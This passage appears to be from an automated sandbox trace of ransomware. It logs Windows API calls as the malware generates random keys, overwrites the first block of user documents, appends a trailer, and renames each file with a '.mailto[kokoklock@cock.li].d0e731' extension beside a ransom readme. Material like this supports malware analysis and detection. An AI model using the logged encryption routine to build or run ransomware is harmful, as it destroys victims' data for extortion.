nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c4ffc64*=0x4, lpOverlapped=0x0) returned 1 [0177.858] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.858] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.858] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.858] CloseHandle (hObject=0x7b4) returned 1 [0177.858] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x120) returned 0x4f0bec0 [0177.858] wcscpy (in: _Dest=0x4f0bec0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" [0177.858] wcscat (in: _Dest=0x4f0bec0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.858] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.859] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.859] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bec0) returned 1 [0177.859] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x3055498 [0177.859] wcscpy (in: _Dest=0x3055498, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.859] wcscat (in: _Dest=0x3055498, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0177.859] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0177.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055498) returned 1 [0177.860] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98408) returned 1 [0177.860] RtlExitUserThread (Status=0x1) Thread: id = 2732 os_tid = 0x12f8 [0177.862] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.862] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b4 [0177.862] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2c57f788 | out: lpFileSize=0x2c57f788*=31122) returned 1 [0177.862] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x798e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.862] ReadFile (in: hFile=0x7b4, lpBuffer=0x2c57f75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2c57f75c*, lpNumberOfBytesRead=0x2c57f758*=0x4, lpOverlapped=0x0) returned 1 [0177.864] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.864] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.864] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.864] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.864] NtQuerySystemTime (in: CurrentTime=0x2c57f734 | out: CurrentTime=0x2c57f734*=132121213351874140) returned 0x0 [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xc49be03c [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xb20e3f7b [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x9810143b [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x4021ce3b [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x3b7cc7a8 [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xeaa9dae8 [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xdb1f6e1e [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x12fc511e [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x74d4e843 [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x85778b1a [0177.865] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x9a107a21 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xf5fa6ee5 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xcfa90806 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xa7c11c17 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x4a0ab636 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xd3a63288 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xbe0c06c0 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xd28f215a [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xe9b97a84 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xda96be65 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x21aeb8e3 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xed83a675 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xd18921ba [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xe9aa878b [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xb5cda405 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xa5db2053 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x2a552fbf [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x65003270 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x999297b7 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xcfa42e6a [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0xb79f23d3 [0177.866] RtlRandom (in: Seed=0x2c57f740 | out: Seed=0x2c57f740) returned 0x54209a8c [0177.878] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.878] ReadFile (in: hFile=0x7b4, lpBuffer=0x4f00058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c57f70c, lpOverlapped=0x0 | out: lpBuffer=0x4f00058*, lpNumberOfBytesRead=0x2c57f70c*=0x4096, lpOverlapped=0x0) returned 1 [0177.878] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0177.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0177.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.879] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f040f8 [0177.879] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.879] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0177.879] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0177.879] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0177.879] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0177.879] WriteFile (in: hFile=0x7b4, lpBuffer=0x4f040f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c57f70c, lpOverlapped=0x0 | out: lpBuffer=0x4f040f8*, lpNumberOfBytesWritten=0x2c57f70c*=0x4096, lpOverlapped=0x0) returned 1 [0177.879] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f040f8) returned 1 [0177.879] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x7992, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.879] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c57f744, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x2c57f744*=0x20, lpOverlapped=0x0) returned 1 [0177.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00058) returned 1 [0177.880] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x2c57f758*=0x8, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x7b4, lpBuffer=0x2c57f770*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2c57f770*, lpNumberOfBytesWritten=0x2c57f758*=0x4, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c57f758*=0x4, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c57f758*=0x6c, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x2c57f758*=0x20, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c57f758, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c57f758*=0x4, lpOverlapped=0x0) returned 1 [0177.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.881] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.881] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.881] CloseHandle (hObject=0x7b4) returned 1 [0177.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305c6c0 [0177.881] wcscpy (in: _Dest=0x305c6c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" [0177.881] wcscat (in: _Dest=0x305c6c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.881] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\toe4la1.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.882] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c6c0) returned 1 [0177.882] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\tOE4lA1.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x3055b78 [0177.882] wcscpy (in: _Dest=0x3055b78, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.882] wcscat (in: _Dest=0x3055b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0177.882] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0177.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055b78) returned 1 [0177.882] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e1e8) returned 1 [0177.882] RtlExitUserThread (Status=0x1) Thread: id = 2733 os_tid = 0x1300 [0177.883] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.884] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b4 [0177.884] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2c5ffdb8 | out: lpFileSize=0x2c5ffdb8*=80625) returned 1 [0177.884] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x13aed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.884] ReadFile (in: hFile=0x7b4, lpBuffer=0x2c5ffd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5ffd88, lpOverlapped=0x0 | out: lpBuffer=0x2c5ffd8c*, lpNumberOfBytesRead=0x2c5ffd88*=0x4, lpOverlapped=0x0) returned 1 [0177.885] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0177.886] NtQuerySystemTime (in: CurrentTime=0x2c5ffd64 | out: CurrentTime=0x2c5ffd64*=132121213352031006) returned 0x0 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x45c97fc2 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x667a5cea [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x627f1354 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x5868fb82 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x78ac04fb [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x2aa90aa3 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xfa9f0ee3 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xb22a9ed [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xa7127508 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x1aae7e7b [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xcec61aac [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x6348f17 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x3b50eac3 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x29c54701 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x9ccec325 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xca8fb1ad [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x93ce905c [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xcad826e [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x6ac2d873 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x7f65e54b [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x37cbfa70 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xbcf434ba [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xc43b3d89 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xd3e46ef2 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xecc2b30a [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x9d28a457 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x303ab483 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x5e03a256 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x223ff11a [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x4e302979 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0xca953107 [0177.886] RtlRandom (in: Seed=0x2c5ffd70 | out: Seed=0x2c5ffd70) returned 0x475831d [0177.897] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.897] ReadFile (in: hFile=0x7b4, lpBuffer=0x4f00058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c5ffd3c, lpOverlapped=0x0 | out: lpBuffer=0x4f00058*, lpNumberOfBytesRead=0x2c5ffd3c*=0x4096, lpOverlapped=0x0) returned 1 [0177.897] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0177.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0177.897] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.898] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f040f8 [0177.898] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.898] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0177.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0177.898] WriteFile (in: hFile=0x7b4, lpBuffer=0x4f040f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c5ffd3c, lpOverlapped=0x0 | out: lpBuffer=0x4f040f8*, lpNumberOfBytesWritten=0x2c5ffd3c*=0x4096, lpOverlapped=0x0) returned 1 [0177.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f040f8) returned 1 [0177.898] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x13af1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f949c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c5ffd74, lpOverlapped=0x0 | out: lpBuffer=0x2f949c8*, lpNumberOfBytesWritten=0x2c5ffd74*=0x20, lpOverlapped=0x0) returned 1 [0177.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00058) returned 1 [0177.899] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c5ffd88, lpOverlapped=0x0 | out: 